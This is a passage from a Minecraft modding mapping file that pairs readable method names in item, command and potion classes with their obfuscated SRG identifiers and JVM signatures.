net/minecraft/item/ItemMap/func_77873_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;)Lnet/minecraft/world/storage/MapData; +MD: net/minecraft/item/ItemMap/onUpdate (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/Entity;IZ)V net/minecraft/item/ItemMap/func_77663_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/Entity;IZ)V +MD: net/minecraft/item/ItemMap/addInformation (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Ljava/util/List;Z)V net/minecraft/item/ItemMap/func_77624_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Ljava/util/List;Z)V +MD: net/minecraft/item/ItemMap/createMapDataPacket (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/network/Packet; net/minecraft/item/ItemMap/func_150911_c (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/network/Packet; +MD: net/minecraft/item/ItemMap/onCreated (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/item/ItemMap/func_77622_d (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/item/ItemBucketMilk/onItemRightClick (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; net/minecraft/item/ItemBucketMilk/func_77659_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/ItemBucketMilk/onItemUseFinish (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; net/minecraft/item/ItemBucketMilk/func_77654_b (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/ItemBucketMilk/getMaxItemUseDuration (Lnet/minecraft/item/ItemStack;)I net/minecraft/item/ItemBucketMilk/func_77626_a (Lnet/minecraft/item/ItemStack;)I +MD: net/minecraft/item/ItemBucketMilk/getItemUseAction (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/EnumAction; net/minecraft/item/ItemBucketMilk/func_77661_b (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/EnumAction; +MD: net/minecraft/item/ItemMinecart$1/playDispenseSound (Lnet/minecraft/dispenser/IBlockSource;)V net/minecraft/item/ItemMinecart$1/func_82485_a (Lnet/minecraft/dispenser/IBlockSource;)V +MD: net/minecraft/item/ItemMinecart$1/dispenseStack (Lnet/minecraft/dispenser/IBlockSource;Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/ItemStack; net/minecraft/item/ItemMinecart$1/func_82487_b (Lnet/minecraft/dispenser/IBlockSource;Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/ItemMinecart/access$000 (Lnet/minecraft/item/ItemMinecart;)Lnet/minecraft/entity/item/EntityMinecart$EnumMinecartType; net/minecraft/item/ItemMinecart/access$000 (Lnet/minecraft/item/ItemMinecart;)Lnet/minecraft/entity/item/EntityMinecart$EnumMinecartType; +MD: net/minecraft/item/ItemMinecart/onItemUse (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/item/ItemMinecart/func_180614_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/item/ItemMultiTexture$1/apply (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; net/minecraft/item/ItemMultiTexture$1/apply (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; +MD: net/minecraft/item/ItemMultiTexture$1/apply (Ljava/lang/Object;)Ljava/lang/Object; net/minecraft/item/ItemMultiTexture$1/apply (Ljava/lang/Object;)Ljava/lang/Object; +MD: net/minecraft/item/ItemMultiTexture/getMetadata (I)I net/minecraft/item/ItemMultiTexture/func_77647_b (I)I +MD: net/minecraft/item/ItemMultiTexture/getUnlocalizedName (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; net/minecraft/item/ItemMultiTexture/func_77667_c (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; +MD: net/minecraft/item/ItemNameTag/itemInteractionForEntity (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/entity/EntityLivingBase;)Z net/minecraft/item/ItemNameTag/func_111207_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/entity/EntityLivingBase;)Z +MD: net/minecraft/item/ItemPickaxe/getStrVsBlock (Lnet/minecraft/item/ItemStack;Lnet/minecraft/block/Block;)F net/minecraft/item/ItemPickaxe/func_150893_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/block/Block;)F +MD: net/minecraft/item/ItemPickaxe/canHarvestBlock (Lnet/minecraft/block/Block;)Z net/minecraft/item/ItemPickaxe/func_150897_b (Lnet/minecraft/block/Block;)Z +MD: net/minecraft/item/ItemPiston/getMetadata (I)I net/minecraft/item/ItemPiston/func_77647_b (I)I +MD: net/minecraft/item/ItemPotion/getSubItems (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V net/minecraft/item/ItemPotion/func_150895_a (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V +MD: net/minecraft/item/ItemPotion/getItemStackDisplayName (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; net/minecraft/item/ItemPotion/func_77653_i (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; +MD: net/minecraft/item/ItemPotion/getColorFromItemStack (Lnet/minecraft/item/ItemStack;I)I net/minecraft/item/ItemPotion/func_82790_a (Lnet/minecraft/item/ItemStack;I)I +MD: net/minecraft/item/ItemPotion/onItemRightClick (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; net/minecraft/item/ItemPotion/func_77659_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/ItemPotion/addInformation (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Ljava/util/List;Z)V net/minecraft/item/ItemPotion/func_77624_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Ljava/util/List;Z)V +MD: net/minecraft/item/ItemPotion/onItemUseFinish (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; net/minecraft/item/ItemPotion/func_77654_b (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/ItemPotion/getMaxItemUseDuration (Lnet/minecraft/item/ItemStack;)I net/minecraft/item/ItemPotion/func_77626_a (Lnet/minecraft/item/ItemStack;)I +MD: net/minecraft/item/ItemPotion/getEffects (I)Ljava/util/List; net/minecraft/item/ItemPotion/func_77834_f (I)Ljava/util/List; +MD: net/minecraft/item/ItemPotion/getItemUseAction (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/EnumAction; net/minecraft/item/ItemPotion/func_77661_b (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/EnumAction; +MD: net/minecraft/item/ItemPotion/isSplash (I)Z net/minecraft/item/ItemPotion/func_77831_g (I)Z +MD: net/minecraft/item/ItemPotion/hasEffect (Lnet/minecraft/item/ItemStack;)Z net/minecraft/item/ItemPotion/func_77636_d (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/item/ItemPotion/getColorFromDamage (I)I net/minecraft/item/ItemPotion/func_77620_a (I)I +MD: net/minecraft/item/ItemPotion/isEffectInstant (I)Z net/minecraft/item/ItemPotion/func_77833_h (I)Z +MD: net/minecraft/item/ItemPotion/getEffects (Lnet/minecraft/item/ItemStack;)Ljava/util/List; net/minecraft/item/ItemPotion/func_77832_l (Lnet/minecraft/item/ItemStack;)Ljava/util/List; +MD: net/minecraft/item/EnumRarity/valueOf (Ljava/lang/String;)Lnet/minecraft/item/EnumRarity; net/minecraft/item/EnumRarity/valueOf (Ljava/lang/String;)Lnet/minecraft/item/EnumRarity; +MD: net/minecraft/item/EnumRarity/values ()[Lnet/minecraft/item/EnumRarity; net/minecraft/item/EnumRarity/values ()[Lnet/minecraft/item/EnumRarity; +MD: net/minecraft/item/ItemRecord/onItemUse (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/item/ItemRecord/func_180614_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/item/ItemRecord/addInformation (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Ljava/util/List;Z)V net/minecraft/item/ItemRecord/func_77624_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Ljava/util/List;Z)V +MD: net/minecraft/item/ItemRecord/getRecord (Ljava/lang/String;)Lnet/minecraft/item/ItemRecord; net/minecraft/item/ItemRecord/func_150926_b (Ljava/lang/String;)Lnet/minecraft/item/ItemRecord; +MD: net/minecraft/item/ItemRecord/getRecordNameLocal ()Ljava/lang/String; net/minecraft/item/ItemRecord/func_150927_i ()Ljava/lang/String; +MD: net/minecraft/item/ItemRecord/getRarity (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/EnumRarity; net/minecraft/item/ItemRecord/func_77613_e (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/EnumRarity; +MD: net/minecraft/item/ItemRedstone/onItemUse (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/item/ItemRedstone/func_180614_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/item/ItemSaddle/hitEntity (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/entity/EntityLivingBase;)Z net/minecraft/item/ItemSaddle/func_77644_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/entity/EntityLivingBase;)Z +MD: net/minecraft/item/ItemSaddle/itemInteractionForEntity (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/entity/EntityLivingBase;)Z net/minecraft/item/ItemSaddle/func_111207_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/entity/EntityLivingBase;)Z +MD: net/minecraft/item/ItemSeedFood/onItemUse (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/item/ItemSeedFood/func_180614_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/item/ItemSeeds/onItemUse (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/item/ItemSeeds/func_180614_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/item/ItemShears/onBlockDestroyed (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/block/Block;Lnet/minecraft/util/BlockPos;Lnet/minecraft/entity/EntityLivingBase;)Z net/minecraft/item/ItemShears/func_179218_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/block/Block;Lnet/minecraft/util/BlockPos;Lnet/minecraft/entity/EntityLivingBase;)Z +MD: net/minecraft/item/ItemShears/getStrVsBlock (Lnet/minecraft/item/ItemStack;Lnet/minecraft/block/Block;)F net/minecraft/item/ItemShears/func_150893_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/block/Block;)F +MD: net/minecraft/item/ItemShears/canHarvestBlock (Lnet/minecraft/block/Block;)Z net/minecraft/item/ItemShears/func_150897_b (Lnet/minecraft/block/Block;)Z +MD: net/minecraft/item/ItemSpade/canHarvestBlock (Lnet/minecraft/block/Block;)Z net/minecraft/item/ItemSpade/func_150897_b (Lnet/minecraft/block/Block;)Z +MD: net/minecraft/item/ItemSign/onItemUse (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/item/ItemSign/func_180614_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/item/ItemSimpleFoiled/hasEffect (Lnet/minecraft/item/ItemStack;)Z net/minecraft/item/ItemSimpleFoiled/func_77636_d (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/item/ItemSkull/getMetadata (I)I net/minecraft/item/ItemSkull/func_77647_b (I)I +MD: net/minecraft/item/ItemSkull/updateItemStackNBT (Lnet/minecraft/nbt/NBTTagCompound;)Z net/minecraft/item/ItemSkull/func_179215_a (Lnet/minecraft/nbt/NBTTagCompound;)Z +MD: net/minecraft/item/ItemSkull/getSubItems (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V net/minecraft/item/ItemSkull/func_150895_a (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V +MD: net/minecraft/item/ItemSkull/getItemStackDisplayName (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; net/minecraft/item/ItemSkull/func_77653_i (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; +MD: net/minecraft/item/ItemSkull/onItemUse (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/item/ItemSkull/func_180614_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/item/ItemSkull/getUnlocalizedName (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; net/minecraft/item/ItemSkull/func_77667_c (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; +MD: net/minecraft/item/ItemSlab/getMetadata (I)I net/minecraft/item/ItemSlab/func_77647_b (I)I +MD: net/minecraft/item/ItemSlab/canPlaceBlockOnSide (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/item/ItemStack;)Z net/minecraft/item/ItemSlab/func_179222_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/item/ItemSlab/tryPlace (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Ljava/lang/Object;)Z net/minecraft/item/ItemSlab/func_180615_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Ljava/lang/Object;)Z +MD: net/minecraft/item/ItemSlab/onItemUse (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/item/ItemSlab/func_180614_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/item/ItemSlab/getUnlocalizedName (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; net/minecraft/item/ItemSlab/func_77667_c (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; +MD: net/minecraft/item/ItemSnow/getMetadata (I)I net/minecraft/item/ItemSnow/func_77647_b (I)I +MD: net/minecraft/item/ItemSnow/onItemUse (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/item/ItemSnow/func_180614_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/item/ItemSnowball/onItemRightClick (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; net/minecraft/item/ItemSnowball/func_77659_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/ItemMonsterPlacer/spawnCreature (Lnet/minecraft/world/World;IDDD)Lnet/minecraft/entity/Entity; net/minecraft/item/ItemMonsterPlacer/func_77840_a (Lnet/minecraft/world/World;IDDD)Lnet/minecraft/entity/Entity; +MD: net/minecraft/item/ItemMonsterPlacer/getSubItems (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V net/minecraft/item/ItemMonsterPlacer/func_150895_a (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V +MD: net/minecraft/item/ItemMonsterPlacer/getItemStackDisplayName (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; net/minecraft/item/ItemMonsterPlacer/func_77653_i (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; +MD: net/minecraft/item/ItemMonsterPlacer/getColorFromItemStack (Lnet/minecraft/item/ItemStack;I)I net/minecraft/item/ItemMonsterPlacer/func_82790_a (Lnet/minecraft/item/ItemStack;I)I +MD: net/minecraft/item/ItemMonsterPlacer/onItemRightClick (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; net/minecraft/item/ItemMonsterPlacer/func_77659_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/ItemMonsterPlacer/onItemUse (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/item/ItemMonsterPlacer/func_180614_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/item/ItemSword/onBlockDestroyed (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/block/Block;Lnet/minecraft/util/BlockPos;Lnet/minecraft/entity/EntityLivingBase;)Z net/minecraft/item/ItemSword/func_179218_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/block/Block;Lnet/minecraft/util/BlockPos;Lnet/minecraft/entity/EntityLivingBase;)Z +MD: net/minecraft/item/ItemSword/onItemRightClick (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; net/minecraft/item/ItemSword/func_77659_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/ItemSword/getStrVsBlock (Lnet/minecraft/item/ItemStack;Lnet/minecraft/block/Block;)F net/minecraft/item/ItemSword/func_150893_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/block/Block;)F +MD: net/minecraft/item/ItemSword/hitEntity (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/entity/EntityLivingBase;)Z net/minecraft/item/ItemSword/func_77644_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/entity/EntityLivingBase;)Z +MD: net/minecraft/item/ItemSword/getIsRepairable (Lnet/minecraft/item/ItemStack;Lnet/minecraft/item/ItemStack;)Z net/minecraft/item/ItemSword/func_82789_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/item/ItemSword/getItemEnchantability ()I net/minecraft/item/ItemSword/func_77619_b ()I +MD: net/minecraft/item/ItemSword/canHarvestBlock (Lnet/minecraft/block/Block;)Z net/minecraft/item/ItemSword/func_150897_b (Lnet/minecraft/block/Block;)Z +MD: net/minecraft/item/ItemSword/getMaxItemUseDuration (Lnet/minecraft/item/ItemStack;)I net/minecraft/item/ItemSword/func_77626_a (Lnet/minecraft/item/ItemStack;)I +MD: net/minecraft/item/ItemSword/getItemUseAction (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/EnumAction; net/minecraft/item/ItemSword/func_77661_b (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/EnumAction; +MD: net/minecraft/item/ItemSword/getDamageVsEntity ()F net/minecraft/item/ItemSword/func_150931_i ()F +MD: net/minecraft/item/ItemSword/getToolMaterialName ()Ljava/lang/String; net/minecraft/item/ItemSword/func_150932_j ()Ljava/lang/String; +MD: net/minecraft/item/ItemSword/getItemAttributeModifiers ()Lcom/google/common/collect/Multimap; net/minecraft/item/ItemSword/func_111205_h ()Lcom/google/common/collect/Multimap; +MD: net/minecraft/item/ItemSword/isFull3D ()Z net/minecraft/item/ItemSword/func_77662_d ()Z +MD: net/minecraft/item/ItemColored/getMetadata (I)I net/minecraft/item/ItemColored/func_77647_b (I)I +MD: net/minecraft/item/ItemColored/getColorFromItemStack (Lnet/minecraft/item/ItemStack;I)I net/minecraft/item/ItemColored/func_82790_a (Lnet/minecraft/item/ItemStack;I)I +MD: net/minecraft/item/ItemColored/setSubtypeNames ([Ljava/lang/String;)Lnet/minecraft/item/ItemColored; net/minecraft/item/ItemColored/func_150943_a ([Ljava/lang/String;)Lnet/minecraft/item/ItemColored; +MD: net/minecraft/item/ItemColored/getUnlocalizedName (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; net/minecraft/item/ItemColored/func_77667_c (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; +MD: net/minecraft/command/CommandEnchant/getRequiredPermissionLevel ()I net/minecraft/command/CommandEnchant/func_82362_a ()I +MD: net/minecraft/command/CommandEnchant/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/CommandEnchant/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/CommandEnchant/addTabCompletionOptions (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/CommandEnchant/func_180525_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/CommandEnchant/isUsernameIndex ([Ljava/lang/String;I)Z net/minecraft/command/CommandEnchant/func_82358_a ([Ljava/lang/String;I)Z +MD: net/minecraft/command/CommandEnchant/getCommandName ()Ljava/lang/String; net/minecraft/command/CommandEnchant/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/CommandEnchant/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/CommandEnchant/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/command/CommandEnchant/getListOfPlayers ()[Ljava/lang/String; net/minecraft/command/CommandEnchant/func_90022_d ()[Ljava/lang/String; +MD: net/minecraft/item/EnumAction/valueOf (Ljava/lang/String;)Lnet/minecraft/item/EnumAction; net/minecraft/item/EnumAction/valueOf (Ljava/lang/String;)Lnet/minecraft/item/EnumAction; +MD: net/minecraft/item/EnumAction/values ()[Lnet/minecraft/item/EnumAction; net/minecraft/item/EnumAction/values ()[Lnet/minecraft/item/EnumAction; +MD: net/minecraft/item/ItemLilyPad/getColorFromItemStack (Lnet/minecraft/item/ItemStack;I)I net/minecraft/item/ItemLilyPad/func_82790_a (Lnet/minecraft/item/ItemStack;I)I +MD: net/minecraft/item/ItemLilyPad/onItemRightClick (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; net/minecraft/item/ItemLilyPad/func_77659_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/ItemWritableBook/onItemRightClick (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; net/minecraft/item/ItemWritableBook/func_77659_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/ItemWritableBook/isNBTValid (Lnet/minecraft/nbt/NBTTagCompound;)Z net/minecraft/item/ItemWritableBook/func_150930_a (Lnet/minecraft/nbt/NBTTagCompound;)Z +MD: net/minecraft/item/ItemEditableBook/getItemStackDisplayName (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; net/minecraft/item/ItemEditableBook/func_77653_i (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; +MD: net/minecraft/item/ItemEditableBook/onItemRightClick (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; net/minecraft/item/ItemEditableBook/func_77659_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/ItemEditableBook/resolveContents (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/item/ItemEditableBook/func_179229_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/item/ItemEditableBook/addInformation (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Ljava/util/List;Z)V net/minecraft/item/ItemEditableBook/func_77624_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Ljava/util/List;Z)V +MD: net/minecraft/item/ItemEditableBook/validBookTagContents (Lnet/minecraft/nbt/NBTTagCompound;)Z net/minecraft/item/ItemEditableBook/func_77828_a (Lnet/minecraft/nbt/NBTTagCompound;)Z +MD: net/minecraft/item/ItemEditableBook/hasEffect (Lnet/minecraft/item/ItemStack;)Z net/minecraft/item/ItemEditableBook/func_77636_d (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/item/ItemEditableBook/getGeneration (Lnet/minecraft/item/ItemStack;)I net/minecraft/item/ItemEditableBook/func_179230_h (Lnet/minecraft/item/ItemStack;)I +MD: net/minecraft/potion/PotionHelper/getPotionPrefixIndex (I)I net/minecraft/potion/PotionHelper/func_77909_a (I)I +MD: net/minecraft/potion/PotionHelper/checkFlag (II)Z net/minecraft/potion/PotionHelper/func_77914_a (II)Z +MD: net/minecraft/potion/PotionHelper/getPotionPrefixIndexFlags (IIIIII)I net/minecraft/potion/PotionHelper/func_77908_a (IIIIII)I +MD: net/minecraft/potion/PotionHelper/brewBitOperations (IIZZZ)I net/minecraft/potion/PotionHelper/func_77906_a (IIZZZ)I +MD: net/minecraft/potion/PotionHelper/applyIngredient (ILjava/lang/String;)I 